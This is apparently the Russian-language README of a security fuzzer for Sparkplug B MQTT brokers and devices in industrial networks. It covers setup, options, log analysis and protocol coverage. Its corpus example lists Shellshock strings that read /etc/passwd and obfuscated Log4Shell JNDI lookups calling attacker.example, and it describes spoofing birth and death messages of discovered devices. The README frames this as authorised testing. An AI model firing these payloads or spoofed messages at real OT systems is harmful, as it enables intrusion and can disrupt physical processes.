
Fuzzer for the Sparkplug B IIoT protocol
Инструмент для всесторонней оценки безопасности протокольных реализаций Sparkplug B MQTT. Фаззер систематически тестирует все поля протокола для всех 9 типов сообщений, обнаруживает активные устройства в сети и создает подробные журналы для анализа.
Этот инструмент отправляет искаженные, внедряющие и нарушающие протокол сообщения MQTT целевому брокеру. Запускайте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. Брокеры Sparkplug B часто находятся в средах OT/ICS, где неожиданные полезные нагрузки могут нарушить физические процессы — считайте, что любая цель находится рядом с производственной средой, пока не доказано обратное.
Если вы обнаружите уязвимость в реализации Sparkplug B с помощью этого инструмента, пожалуйста, следуйте скоординированному раскрытию информации с затронутым поставщиком. Чтобы сообщить о проблеме безопасности в самом инструменте, см. SECURITY.md.
Спецификация Sparkplug B определяет пространство имен тем и формат полезной нагрузки, построенные на MQTT и Google Protocol Buffers для сред промышленного Интернета вещей (IIoT). Этот фаззер оценивает безопасность и устойчивость реализаций Sparkplug B путем:
На современных системах Debian/Ubuntu/Kali (системы PEP-668) --setup не может выполнить pip install в системный Python — сначала используйте виртуальное окружение или pipx. Рекомендуемый путь:```bash
python3 -m venv .venv
source .venv/bin/activate
python3 sparkplug-fuzzer.py --setup
Или запустите через `pipx run`, если вы предпочитаете не управлять виртуальным окружением вручную. На старых системах без принудительного применения PEP-668, простая команда `python3 sparkplug-fuzzer.py --setup` работает напрямую.
`--setup` сделает следующее:
1. Установит зависимости pip (`paho-mqtt`, `protobuf`)
2. Клонирует заданный тег репозитория [Eclipse Tahu](https://github.com/eclipse/tahu) (см. `TAHU_REF` в скрипте)
3. Скопирует вспомогательные модули `sparkplug_b.py` и `array_packer.py`
4. Скомпилирует `sparkplug_b.proto` в привязки Python (использует `protoc`, если доступен, иначе откатывается к `grpcio-tools`)
5. Очистит клон Tahu
После настройки ваша директория должна содержать:```
sparkplug-fuzzer.py # The fuzzer
sparkplug_b.py # Sparkplug B helper module (from Tahu)
array_packer.py # Array packing helper (from Tahu)
sparkplug_b_pb2.py # Generated protobuf bindings
requirements.txt # Python dependencies
python3 sparkplug-fuzzer.py --setup # first-time setup python3 sparkplug-fuzzer.py -H localhost -p 1883 -v # run fuzzer
Это позволит:
1. Подключиться к брокеру на `localhost:1883`
2. Прослушивать 10 секунд для обнаружения существующих устройств Sparkplug
3. Установить фаззер как узел/устройство Sparkplug
4. Запустить все 12 категорий фаззинга (~635+ тестов)
5. Нацелиться на любые обнаруженные устройства с поддельными сообщениями
6. Записать результаты в `sparkplug_fuzz.jsonl`
## Использование
### Параметры командной строки```
python3 sparkplug-fuzzer.py [OPTIONS]
Запуск всех категорий с аутентификацией:```bash python3 sparkplug-fuzzer.py -H 10.0.1.30 -p 1883 -u admin -P secret -v
**Передавайте учетные данные, не раскрывая их в `ps`:**```bash
# Via environment
MQTT_USERNAME=admin MQTT_PASSWORD=secret python3 sparkplug-fuzzer.py -H broker.local
# Or read password from stdin (getpass — no echo)
python3 sparkplug-fuzzer.py -H broker.local -u admin -P -
Подключение через TLS:```bash
python3 sparkplug-fuzzer.py -H broker.example.com --tls -v
python3 sparkplug-fuzzer.py -H broker.example.com --tls --cafile ./ca.pem -v
**Пассивная оценка аутентификации + активный пробник записи:**```bash
python3 sparkplug-fuzzer.py -H 10.0.1.30 --probe-anon-write -v
Запускать только категории, связанные с инъекциями:```bash python3 sparkplug-fuzzer.py -H broker.local -c string type_mismatch malformed
**Расширенное обнаружение с медленным темпом (минимизация нагрузки на брокер):**```bash
python3 sparkplug-fuzzer.py -H 192.168.1.100 --discovery-time 60 --delay 0.5
Пользовательская идентификация группы/узла и файл журнала:```bash
python3 sparkplug-fuzzer.py -H broker.local
-g "Production Floor" -n "TestNode01" -d "TestDevice01"
-l production_fuzz_results.jsonl -vv
**Отслеживайте трафик брокера в отдельном терминале:**```bash
mosquitto_sub -h <broker_host> -p 1883 -t 'spBv1.0/#' -F '%I %t %x'
Настройка в изолированной среде с предварительно склонированным репозиторием Tahu:```bash git clone https://github.com/eclipse/tahu.git ~/tahu # on a connected box
python3 sparkplug-fuzzer.py --setup --tahu-path ~/tahu
**Макет вывода для каждого запуска:**```bash
# Default — directory is auto-named under ./sparkplug-runs/
python3 sparkplug-fuzzer.py -H broker.local
# -> creates ./sparkplug-runs/2026-05-05_1830_broker.local/sparkplug_fuzz.jsonl
# Explicit directory:
python3 sparkplug-fuzzer.py -H broker.local --output-dir ./fuzz-runs/acme-2026Q2
Встроенный STRING_FUZZ_VALUES охватывает классические категории инъекций (пустые/огромные строки, нулевые байты, строки формата, XSS, SQLi, обход путей, прототипное загрязнение). Однако в реальных задачах часто требуются вторичные полезные нагрузки, нацеленные на то, что потребляет данные брокера в нисходящем потоке — историки, передающие имена метрик через оболочку, Java-совместимые SCADA-хосты, передающие значения в log4j, приборные панели, отображающие имена тегов в HTML, и т.д.
Флаг --extra-string-payloads <FILE> добавляет дополнительный корпус к встроенным. Формат: одна полезная нагрузка на строку, UTF-8. Строки, содержащие только пробелы, сохраняются (часто намеренно во фраззинге); полностью пустые строки отбрасываются. Флаг добавляет к встроенному списку, а не заменяет его, поэтому существующее покрытие сохраняется.```bash
cat > corpus.txt <<'EOF' () { :;}; /bin/cat /etc/passwd () { :; }; echo VULN ${jndi:ldap://attacker.example/x} ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.example/x} ${${lower:jndi}:ldap://attacker.example/x} EOF
python3 sparkplug-fuzzer.py -H broker.local --extra-string-payloads corpus.txt -v
Фаззер выводит `[+] Extra string payloads: loaded N from <path>` при запуске, и каждая полезная нагрузка передаётся через каждое место, где выполняется итерация `STRING_FUZZ_VALUES` — в первую очередь это категория `string`, но также и строковые варианты генератора несоответствия типов.
Жёсткие ограничения: размер файла 10 МБ, 10 000 полезных нагрузок. При необходимости отрегулируйте `MAX_EXTRA_PAYLOADS_FILE_SIZE` / `MAX_EXTRA_PAYLOADS_COUNT` в верхней части скрипта (если у вас есть достаточный запас времени выполнения).
## Примечания к выпуску v0.2
- Флаг `--output-dir` плюс автоматически создаваемый каталог по умолчанию `./sparkplug-runs/<UTC-ts>_<host>/` — каждый запуск попадает в свой собственный каталог, чтобы артефакты не пересекались между запусками.
- Флаг `--tahu-path` для `--setup` — указывает на локальный клон `eclipse/tahu` для изолированных тестовых сред, где исходящий `git clone` заблокирован. Локальный источник никогда не удаляется при очистке.
- Метки времени в консоли и JSONL принудительно установлены в UTC с явным суффиксом `Z`, чтобы перекрёстная корреляция с журналами брокера не требовала арифметики с часовыми поясами.
- Логгер `paho.mqtt` по умолчанию ограничен уровнем WARNING; виден на INFO при `-v`, DEBUG при `-vv`. Пакетная телеметрия клиента больше не заглушает сигнал фаззера.
- Тестовый набор pytest в `tests/` — 23 теста, охватывающих FuzzLogger, вспомогательные функции для тем, разрешение выходных путей и проверку `--tahu-path`. См. [Запуск тестов](#running-the-tests).
## Запуск тестов
Тестовый набор охватывает часть, не зависящую от сети (корректность логгера, построитель тем, разрешение выходных путей, разбор `--tahu-path`) и выполняется без установленного брокера, paho-mqtt или protobuf.```bash
pip install -r requirements-dev.txt
pytest tests/
Ожидается: 23 passed. Пути, зависящие от сети (PayloadBuilder protobuf, fuzz publishers, MQTT lifecycle), намеренно отложены до будущего уровня интеграционного тестирования с контейнеризованным брокером.
### Network Discovery
Во время фазы обнаружения фуззер подписывается на `spBv1.0/#` и прослушивает весь трафик Sparkplug. Компонент `DeviceTracker` анализирует наблюдаемые сообщения для построения карты активной сети:
- **NBIRTH** сообщения раскрывают граничные узлы и их определения метрик (имя, псевдоним, тип данных)
- **DBIRTH** сообщения раскрывают устройства и их схемы метрик
- **NDEATH/DDEATH** сообщения отслеживают состояние жизненного цикла узлов/устройств
- **STATE** сообщения раскрывают хост-приложения и их статус онлайн/офлайн
Эта карта используется в фазе целенаправленного фаззинга для отправки контекстно-релевантных атак на реальные устройства с их фактическими схемами метрик.
### Authentication Assessment
Когда фуззер подключается без `-u/-P` (и `MQTT_USERNAME`/`MQTT_PASSWORD` не установлены), он выводит статус аутентификации брокера только на основе пассивного обнаружения. Это создает одно событие `AUTH_ASSESSMENT` в логе и печатную сводку:
| Сигнал | Что означает | Как определяется |
|---|---|---|
| `anon_connect_accepted` | Брокер принял CONNECT без учетных данных | Собственное CONNECT фуззера было успешным |
| `anon_subscribe_accepted` | Брокер пересылает `spBv1.0/#` / `STATE/#` анонимным клиентам | Поступило хотя бы одно RX-сообщение в течение окна прослушивания |
| `anon_publish_accepted` | Брокер принимает PUBLISH от анонимных клиентов | Устанавливается только если передан `--probe-anon-write`; QoS=1 зонд + ожидание PUBACK |
| `unauth_endpoints` | Узлы / устройства / хост-приложения наблюдаемы без аутентификации | Каждый объект на обнаруженной карте сети (аутентификация никогда не производилась) |
Зонд QoS=1 является опциональным, поскольку он переходит от пассивного к активному. При QoS=0 брокер молча отбрасывает сообщения, которые он бы отклонил, поэтому подтверждение возможности записи требует чтения PUBACK.
MQTT/Sparkplug не имеют аутентификации на уровне конечных точек — аутентификация является заботой брокера. Таким образом, «конечные точки наблюдаемы без аутентификации» сообщается как список *целей, достижимых без затрат*, а не как свойство самих конечных точек.
### Targeted Fuzzing
После систематического фаззинга инструмент нацеливается на каждое обнаруженное устройство с помощью:
1. **Поддельные уведомления о смерти** — публикует NDEATH/DDEATH, чтобы обмануть подписчиков, заставив их думать, что устройства ушли в офлайн
2. **Поддельные сертификаты рождения** — публикует NBIRTH/DBIRTH, чтобы выдать себя за обнаруженные узлы/устройства
3. **Внедрение команд** — отправляет сообщения NCMD/DCMD с граничными значениями для каждой известной метрики, проверяя, проверяет ли цель входящие команды
4. **Команды перерождения** — отправляет `Node Control/Rebirth` NCMD, чтобы заставить устройства перепубликовать свои рождения
## Output and Log Analysis
### Log Format
Файл лога использует формат JSON-lines (`.jsonl`) — один JSON-объект на строку, подходит для анализа с помощью `jq`, Python или любого инструмента, работающего с JSON.
Полезные нагрузки размером более 64 КиБ не встраиваются шестнадцатерично; вместо этого `payload_hex` содержит `sha256:<digest>+len=<n>`, чтобы лог оставался ограниченным для очень больших фазз-кейсов. `payload_len` присутствует всегда.
**TX record** (outbound fuzz message):```json
{
"ts": "2026-04-10T15:30:00.123456Z",
"dir": "TX",
"case_id": "BOUNDARY-0042",
"category": "boundary",
"topic": "spBv1.0/Sparkplug B Devices/DDATA/FuzzNode/FuzzDevice",
"payload_hex": "0800120a0a06...",
"payload_len": 28,
"payload_decoded": {"timestamp": 1712345678000, "metrics": [{"name": "fuzz/boundary/Int32", "datatype": 3, "int_value": 2147483647}]},
"description": "Boundary Int32 = 2147483647 (int_value)"
}
RX-запись (входящее сообщение из сети):```json { "ts": "2026-04-10T15:30:01.456789Z", "dir": "RX", "topic": "spBv1.0/Production/NBIRTH/PLC01", "payload_hex": "0800120f...", "payload_len": 156, "payload_decoded": {"timestamp": 1712345679000, "metrics": [{"name": "Node Control/Rebirth", "datatype": 11, "boolean_value": false}]} }
**Запись события** (системное событие):```json
{
"ts": "2026-04-10T15:29:50.000000Z",
"dir": "EVENT",
"event": "DISCOVERY_COMPLETE",
"details": {"groups": ["Production"], "node_count": 3, "device_count": 7, "targets": 10}
}
Подсчет случаев по категориям:```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.category' | sort | uniq -c | sort -rn
**Извлеките все случаи строковой инъекции:**```bash
jq 'select(.category == "string")' sparkplug_fuzz.jsonl
Список всех обнаруженных устройств:```bash jq 'select(.event == "DISCOVERY_COMPLETE")' sparkplug_fuzz.jsonl
**Найти случаи, которые вызвали отключения брокера:**```bash
jq 'select(.event == "UNEXPECTED_DISCONNECT" or .event == "RECONNECT_FAIL")' sparkplug_fuzz.jsonl
Выполнить оценку аутентификации:```bash jq 'select(.event == "AUTH_ASSESSMENT")' sparkplug_fuzz.jsonl
**Список конечных точек, доступных без аутентификации:**```bash
jq -r 'select(.event == "AUTH_ASSESSMENT") | .details.unauth_endpoints[] | [.kind, .group, .node, .device, .host_id, .status] | @tsv' sparkplug_fuzz.jsonl
Получить количество TX за время (для анализа скорости):```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.ts[:19]' | uniq -c
**Экспортировать все темы, опубликованные в:**```bash
jq -r 'select(.dir == "TX") | .topic' sparkplug_fuzz.jsonl | sort -u
Анализ с помощью Python:```python import json
with open("sparkplug_fuzz.jsonl") as f: records = [json.loads(line) for line in f]
tx = [r for r in records if r["dir"] == "TX"] rx = [r for r in records if r["dir"] == "RX"] events = [r for r in records if r["dir"] == "EVENT"]
print(f"Total TX: {len(tx)}, RX: {len(rx)}, Events: {len(events)}")
errors = [r for r in rx if "_decode_error" in str(r.get("payload_decoded", {}))] print(f"Decode errors in RX: {len(errors)}")
## Охват протоколов
### Типы сообщений
Тестируются все 9 типов сообщений Sparkplug B:
| Тип сообщения | Шаблон топика | Описание | Использование фаззера |
|---|---|---|---|
| NBIRTH | `spBv1.0/{group}/NBIRTH/{node}` | Сертификат рождения узла | Устанавливает присутствие фаззера; подделывается для обнаруженных узлов; тесты порядка |
| NDEATH | `spBv1.0/{group}/NDEATH/{node}` | Уведомление о смерти узла | MQTT last-will; подделывается для обнаруженных узлов; тесты порядка |
| DBIRTH | `spBv1.0/{group}/DBIRTH/{node}/{device}` | Сертификат рождения устройства | Устанавливает устройство фаззера; подделывается для обнаруженных устройств; тесты порядка |
| DDEATH | `spBv1.0/{group}/DDEATH/{node}/{device}` | Уведомление о смерти устройства | Подделывается для обнаруженных устройств; тесты порядка; тесты сирот |
| NDATA | `spBv1.0/{group}/NDATA/{node}` | Обновление данных узла | Граничные значения; порядковые номера; тесты порядка |
| DDATA | `spBv1.0/{group}/DDATA/{node}/{device}` | Обновление данных устройства | Основное средство для большинства категорий фаззинга |
| NCMD | `spBv1.0/{group}/NCMD/{node}` | Команда узла | Целевой фаззинг (команды перезагрузки); тесты сирот |
| DCMD | `spBv1.0/{group}/DCMD/{node}/{device}` | Команда устройства | Целевой фаззинг обнаруженных метрик устройства; тесты сирот |
| STATE | `STATE/{host_id}` | Состояние хост-приложения (JSON) | Внедрение некорректного JSON |
### Типы данных
Все 19 типов данных метрик Sparkplug B тестируются с типовыми граничными значениями:
| Код | Тип | Поле Protobuf | Проверенные граничные значения |
|------|------|---------------|----------------------|
| 1 | Int8 | int_value | 0, -128, 127, 128 (переполнение), -129 (исчерпание) |
| 2 | Int16 | int_value | 0, -32768, 32767, переполнение/исчерпание |
| 3 | Int32 | int_value | 0, -2^31, 2^31-1, переполнение/исчерпание |
| 4 | Int64 | long_value | 0, -2^63, 2^63-1, переполнение |
| 5 | UInt8 | int_value | 0, 255, 256, -1 |
| 6 | UInt16 | int_value | 0, 65535, 65536, -1 |
| 7 | UInt32 | int_value | 0, 4294967295, -1 |
| 8 | UInt64 | long_value | 0, 2^64-1, -1 |
| 9 | Float | float_value | 0.0, -0.0, макс, мин, inf, -inf, NaN |
| 10 | Double | double_value | 0.0, -0.0, макс, мин, inf, -inf, NaN |
| 11 | Boolean | boolean_value | True, False; также тестируется с сырыми целыми значениями (0, 1, 2, 255) |
| 12 | String | string_value | Пустая, длинная (до 64КБ), полезные нагрузки инъекций |
| 13 | DateTime | long_value | Эпоха, макс, далёкое будущее/прошлое |
| 14 | Text | string_value | Те же полезные нагрузки инъекций, что и для String |
| 15 | UUID | string_value | Пустая, корректная, некорректный формат, инъекции |
| 16 | DataSet | dataset_value | Нарушения структуры через категорию dataset |
| 17 | Bytes | bytes_value | Пустая, нулевые байты, случайные, большие |
| 18 | File | bytes_value | Пустая, сигнатурные байты, большие |
| 19 | Template | template_value | Неопределённые ссылки, шаблоны-сироты |
### Поля покрытия
Фаззер покрывает 87+ уникальных путей полей protobuf, включая:
- **Корневые поля полезной нагрузки**: timestamp, seq, uuid, body, metrics
- **Поля метрик**: name, alias, timestamp, datatype, is_historical, is_transient, is_null, metadata, properties и все варианты value oneof
- **Поля MetaData**: is_multi_part, content_type, size, seq, file_name, file_type, md5, description
- **PropertySet/PropertyValue**: keys, values, type, is_null, рекурсивное propertyset_value, propertysets_value
- **DataSet**: num_of_columns, columns, types, rows, elements, все варианты DataSetValue
- **Template**: version, template_ref, is_definition, вложенные метрики, parameters
## Архитектура
Фаззер представляет собой один Python-файл, организованный в следующие компоненты:```
sparkplug-fuzzer.py
|
+-- Constants / ALL_METRIC_TYPES / STRING_FUZZ_VALUES
| Type definitions and fuzz value tables
|
+-- FuzzLogger
| JSON-lines file logging + console output
| Protobuf payload decoding
|
+-- DeviceTracker
| Passive network discovery
| Tracks groups, nodes, devices, metrics
|
+-- PayloadBuilder
| Valid payload construction (sparkplug_b helpers)
| Raw payload construction (sparkplug_b_pb2 direct)
| Binary corruption (truncate, flip, append)
|
+-- 12 Fuzz Generators
| Each is a Python generator yielding (topic, bytes, desc)
| Covers boundary, string, type, seq, timestamp, alias,
| orphan, ordering, recursive, dataset, malformed, topic
|
+-- SparkplugFuzzer
| Orchestration: connect, discover, fuzz, target, report
| Centralized publish with logging
| Auto-reconnect on disconnect
|
+-- CLI (argparse) + main()
Argument parsing and entry point
Двухуровневая конструкция полезной нагрузки является ключевым проектным решением:
PayloadBuilder.node_birth(), и т.д.) использует вспомогательные функции sparkplug_b для построения валидных, правильно сформированных полезных нагрузок. Используется для установления присутствия и целенаправленного спуфинга.PayloadBuilder.raw_payload(), corrupt_bytes()) напрямую манипулирует protobuf-объектами sparkplug_b_pb2 или сырыми байтами, минуя проверки. Используется для намеренно повреждённых полезных нагрузок, которые тестируют обработку ошибок и граничные случаи парсера.Этот проект лицензирован по лицензии MIT — см. LICENSE для получения полного текста.
sparkplug-fuzzer.py --setup загружает следующие компоненты из Eclipse Tahu во время установки и копирует их в рабочий каталог:
sparkplug_b.py — вспомогательный модуль Sparkplug Barray_packer.py — вспомогательный модуль упаковки массивовsparkplug_b.proto — определение Protocol Buffer (используется для генерации sparkplug_b_pb2.py)Eclipse Tahu распространяется по лицензии Apache, версия 2.0. Ни один из исходных файлов Tahu не распространяется вместе с этим репозиторием. См. NOTICE для полной атрибуции.
| Опция | По умолчанию | Описание |
|---|
-H, --host | localhost | Имя хоста или IP-адрес MQTT-брокера |
-p, --port | 1883 (или 8883 с --tls) | Порт MQTT-брокера |
-u, --username | Нет | Имя пользователя MQTT (также читает переменную окружения MQTT_USERNAME) |
-P, --password | Нет | Пароль MQTT (также читает MQTT_PASSWORD; передайте - для чтения из stdin без эха) |
--tls | выкл | Подключение через TLS; порт по умолчанию становится 8883, если -p не указан |
--cafile | Нет | Пакет CA для проверки сертификата TLS-сервера |
--insecure | выкл | Пропустить проверку имени хоста/сертификата TLS (только для тестирования) |
-g, --group | Sparkplug B Devices | Идентификатор группы Sparkplug, под которым регистрируется фаззер |
-n, --node | FuzzNode | Идентификатор граничного узла Sparkplug для фаззера |
-d, --device | FuzzDevice | Идентификатор устройства Sparkplug для фаззера |
-c, --categories | all | Список категорий фаззинга, разделенных пробелами |
--discovery-time | 10 | Секунды пассивного прослушивания для обнаружения сети |
--delay | 0.1 | Задержка в секундах между сообщениями фаззинга |
--probe-anon-write | выкл | Во время обнаружения отправьте одну публикацию QoS=1, чтобы подтвердить, принимает ли брокер неаутентифицированный PUBLISH |
-l, --log | sparkplug_fuzz.jsonl | Имя выходного файла журнала (относительные пути помещаются внутрь --output-dir; абсолютные пути используются как есть) |
--output-dir | ./sparkplug-runs/<UTC-ts>_<host>/ | Каталог вывода для каждого запуска. Создается при отсутствии. |
-v, --verbose | 0 | Увеличивает подробность консоли (-v = info, -vv = debug). -vv также показывает пропуски генератора фаззинга, а ограниченный логгер paho.mqtt переключается на INFO/DEBUG с подробностью. |
--setup | — | Установить все зависимости и выйти |
--tahu-path | — | Путь к локальному клону eclipse/tahu (или его каталогу python/core). Используется --setup в изолированных средах вместо git clone. |
--extra-string-payloads | — | Путь к файлу с дополнительными полезными нагрузками для внедрения строк (по одной на строку, UTF-8). Добавляется к встроенному STRING_FUZZ_VALUES; не заменяет их. Максимум 10 МБ / 10 000 полезных нагрузок. См. Пользовательские строковые корпуса. |
| Категория | Описание | Приблизительное кол-во случаев |
|---|
boundary | Мин/макс/переполнение для всех 19 числовых типов данных, is_null со значениями, комбинации флагов | ~200 |
string | Полезные нагрузки внедрения (XSS, SQLi, строки формата, обход пути, внедрение команд, нулевые байты) в полях String, Text, UUID, MetaData и сообщениях STATE | ~100 |
type_mismatch | Объявленный тип данных vs неправильное поле значения protobuf, недопустимые коды типов данных, несколько полей oneof | ~150 |
sequence | Пропуски последовательности, дубликаты, обратный порядок, переполнение, несоответствие bdSeq между NBIRTH/NDEATH | ~20 |
timestamp | Ноль, максимум uint64, далекое будущее/прошлое, несоответствие временных меток метрики и полезной нагрузки, экстремумы DateTime | ~15 |
alias | Дублирующиеся псевдонимы для разных метрик, экстремальные значения псевдонимов, неопределенные псевдонимы в сообщениях данных | ~15 |
orphan | Данные/команды, нацеленные на несуществующие устройства, узлы, группы; неопределенные ссылки на шаблоны | ~20 |
ordering | Нарушения состояния протокола: данные до рождения, двойные рождения, данные после смерти, неправильный порядок рождения | ~15 |
recursive | Вложенные цепочки PropertySet (глубина 1-100), несоответствия длины ключ/значение, вариации PropertySetList | ~15 |
dataset | Несоответствие количества столбцов, несоответствие элементов строк, нарушения типов, пустые/огромные наборы данных, специальные символы в именах столбцов | ~25 |
malformed | Повреждение двоичного protobuf: усечение, перевороты битов, случайные байты, слишком длинные varint, неправильные классы сообщений | ~30 |
topic | Варианты регистра, неправильные версии, лишние/отсутствующие слеши, специальные символы, подстановочные знаки в строках темы | ~30 |